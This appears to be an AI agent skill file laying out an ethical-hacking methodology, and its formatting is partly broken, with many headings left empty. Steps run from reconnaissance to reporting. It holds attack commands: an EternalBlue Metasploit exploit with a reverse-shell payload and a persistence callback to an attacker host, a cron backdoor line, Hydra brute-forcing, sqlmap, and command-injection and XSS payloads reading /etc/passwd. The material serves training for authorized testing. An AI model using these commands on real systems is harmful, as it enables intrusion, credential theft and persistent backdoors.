Ethical Hacking Methodology
This skill should be used when the user asks to "learn ethical hacking", "understand penetration testing lifecycle", "perform reconnaissance", "conduct security scanning", "exploit vulnerabilities", or "write penetration test reports". It provides comprehensive ethical hacking methodology and techniques.
Ethical Hacking Methodology
Purpose
Master the complete penetration testing lifecycle from reconnaissance through reporting. This skill covers the five stages of ethical hacking methodology, essential tools, attack techniques, and professional reporting for authorized security assessments.
Prerequisites
Required Environment
Required Knowledge
Outputs and Deliverables
Core Workflow
Phase 1: Understanding Hacker Types
Classification of security professionals:
White Hat Hackers (Ethical Hackers)
Black Hat Hackers (Malicious)
Grey Hat Hackers (Hybrid)
Other Classifications
Phase 2: Reconnaissance
Gather information without direct system interaction:
Passive Reconnaissance
# WHOIS lookup
whois target.comDNS enumeration
nslookup target.com
dig target.com ANY
dig target.com MX
dig target.com NSSubdomain discovery
dnsrecon -d target.comEmail harvesting
theHarvester -d target.com -b allGoogle Hacking (OSINT)
# Find exposed files
site:target.com filetype:pdf
site:target.com filetype:xls
site:target.com filetype:docFind login pages
site:target.com inurl:login
site:target.com inurl:adminFind directory listings
site:target.com intitle:"index of"Find configuration files
site:target.com filetype:config
site:target.com filetype:envGoogle Hacking Database Categories:
Social Media Reconnaissance
Phase 3: Scanning
Active enumeration of target systems:
Host Discovery
# Ping sweep
nmap -sn 192.168.1.0/24ARP scan (local network)
arp-scan -lDiscover live hosts
nmap -sP 192.168.1.0/24Port Scanning
# TCP SYN scan (stealth)
nmap -sS target.comFull TCP connect scan
nmap -sT target.comUDP scan
nmap -sU target.comAll ports scan
nmap -p- target.comTop 1000 ports with service detection
nmap -sV target.comAggressive scan (OS, version, scripts)
nmap -A target.comService Enumeration
# Specific service scripts
nmap --script=http-enum target.com
nmap --script=smb-enum-shares target.com
nmap --script=ftp-anon target.comVulnerability scanning
nmap --script=vuln target.comCommon Port Reference
| Port | Service | Notes |
|---|---|---|
| 21 | FTP | File transfer |
| 22 | SSH | Secure shell |
| 23 | Telnet | Unencrypted remote |
| 25 | SMTP | |
| 53 | DNS | Name resolution |
| 80 | HTTP | Web |
| 443 | HTTPS | Secure web |
| 445 | SMB | Windows shares |
| 3306 | MySQL | Database |
| 3389 | RDP | Remote desktop |
Phase 4: Vulnerability Analysis
Identify exploitable weaknesses:
Automated Scanning
# Nikto web scanner
nikto -h http://target.comOpenVAS (command line)
omp -u admin -w password --xml="<get_tasks/>"Nessus (via API)
nessuscli scan --target target.comWeb Application Testing (OWASP)
Manual Techniques
# Directory brute forcing
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txtSubdomain enumeration
gobuster dns -d target.com -w /usr/share/wordlists/subdomains.txtWeb technology fingerprinting
whatweb target.comPhase 5: Exploitation
Actively exploit discovered vulnerabilities:
Metasploit Framework
# Start Metasploit
msfconsoleSearch for exploits
msf> search type:exploit name:smbUse specific exploit
msf> use exploit/windows/smb/ms17_010_eternalblueSet target
msf> set RHOSTS target.comSet payload
msf> set PAYLOAD windows/meterpreter/reverse_tcp
msf> set LHOST attacker.ipExecute
msf> exploitPassword Attacks
# Hydra brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://target.com
hydra -L users.txt -P passwords.txt ftp://target.comJohn the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txtWeb Exploitation
# SQLMap for SQL injection
sqlmap -u "http://target.com/page.php?id=1" --dbs
sqlmap -u "http://target.com/page.php?id=1" -D database --tablesXSS testing
Manual: <script>alert('XSS')</script>
Command injection testing
; ls -la
| cat /etc/passwd
Phase 6: Maintaining Access
Establish persistent access:
Backdoors
# Meterpreter persistence
meterpreter> run persistence -X -i 30 -p 4444 -r attacker.ipSSH key persistence
Add attacker's public key to ~/.ssh/authorized_keys
Cron job persistence
echo " * /tmp/backdoor.sh" >> /etc/crontabPrivilege Escalation
# Linux enumeration
linpeas.sh
linux-exploit-suggester.shWindows enumeration
winpeas.exe
windows-exploit-suggester.pyCheck SUID binaries (Linux)
find / -perm -4000 2>/dev/nullCheck sudo permissions
sudo -lCovering Tracks (Ethical Context)
Phase 7: Reporting
Document findings professionally:
Report Structure
- High-level findings
- Business impact
- Risk ratings
- Remediation priorities
- Vulnerability details
- Proof of concept
- Screenshots/evidence
- Affected systems
- Critical: Immediate action required
- High: Address within 24-48 hours
- Medium: Address within 1 week
- Low: Address within 1 month
- Informational: Best practice recommendations
- Specific fixes for each finding
- Short-term mitigations
- Long-term solutions
- Resource requirements
- Detailed scan outputs
- Tool configurations
- Testing timeline
- Scope and methodology
Phase 8: Common Attack Types
Phishing
Malware Types
Network Attacks
Phase 9: Kali Linux Setup
Install penetration testing platform:
Hard Disk Installation
Live USB (Persistent)
# Create bootable USB
dd if=kali-linux.iso of=/dev/sdb bs=512k status=progressCreate persistence partition
gparted /dev/sdb
Add ext4 partition labeled "persistence"
Configure persistence
mkdir /mnt/usb
mount /dev/sdb2 /mnt/usb
echo "/ union" > /mnt/usb/persistence.conf
umount /mnt/usbPhase 10: Ethical Guidelines
Legal Requirements
Professional Conduct
Quick Reference
Penetration Testing Lifecycle
| Stage | Purpose | Key Tools |
|---|---|---|
| Reconnaissance | Gather information | theHarvester, WHOIS, Google |
| Scanning | Enumerate targets | Nmap, Nikto, Gobuster |
| Exploitation | Gain access | Metasploit, SQLMap, Hydra |
| Maintaining Access | Persistence | Meterpreter, SSH keys |
| Reporting | Document findings | Report templates |
Essential Commands
| Command | Purpose |
|---|---|
nmap -sV target | Port and service scan |
nikto -h target | Web vulnerability scan |
msfconsole | Start Metasploit |
hydra -l user -P list ssh://target | SSH brute force |
sqlmap -u "url?id=1" --dbs | SQL injection |
Constraints and Limitations
Authorization Required
Professional Standards
Troubleshooting
Scans Blocked
Solutions:
Exploits Failing
Solutions: